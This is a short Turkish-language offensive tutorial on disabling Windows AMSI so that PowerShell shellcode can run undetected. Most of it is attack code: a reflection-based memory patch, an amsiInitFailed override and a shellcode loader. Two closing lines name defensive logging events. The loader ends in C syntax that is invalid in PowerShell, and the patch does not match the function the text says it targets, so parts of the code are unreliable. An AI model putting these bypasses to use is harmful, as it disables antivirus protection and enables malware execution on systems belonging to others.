Modern Teknik - Windows x64 - AMSI Bypass
AMSI (Antimalware Scan Interface), Windows 10 ile gelen ve PowerShell gibi script motorlarinin calistiracagi kodu antivirusu motoruna gondermesini saglayan mekanizmadir. AMSI'yi devre disi birakmak PowerShell tabanli shellcode'un onundeki en buyuk engeli kaldirir.
AMSI Nasil Calisir
[PowerShell komutu calisti]
AmsiScanBuffer() cagrisi <-- Bu fonksiyonu patch ediyoruz
AV motor taramasi
AMSI_RESULT_CLEAN / DETECTED
PowerShell AMSI Patch
$a=[Ref].Assembly.GetTypes()|?{$_.Name -like '*Ams*'}
$b=$a.GetFields('NonPublic,Static')|?{$_.Name -like '*Context*'}
$c=$b.GetValue($null)
$d=[IntPtr]$c
[Runtime.InteropServices.Marshal]::Copy(
[Byte[]](0xB8,0x57,0x00,0x07,0x80,0xC3),0,$d,6)
# Alternatif: amsiInitFailed = true
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
GetField('amsiInitFailed','NonPublic,Static').
SetValue($null,$true)
AMSI Sonrasi Shellcode
$sc = [Convert]::FromBase64String("BASE64_SHELLCODE_HERE")
$mem = [Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
[Runtime.InteropServices.Marshal]::Copy($sc,0,$mem,$sc.Length)
((void(*)())$mem)()
SAVUNMA Tespit
PowerShell Script Block Logging Event ID 4104 aktiflestirilmeli. Sysmon Event ID 8 (CreateRemoteThread) izlenmeli.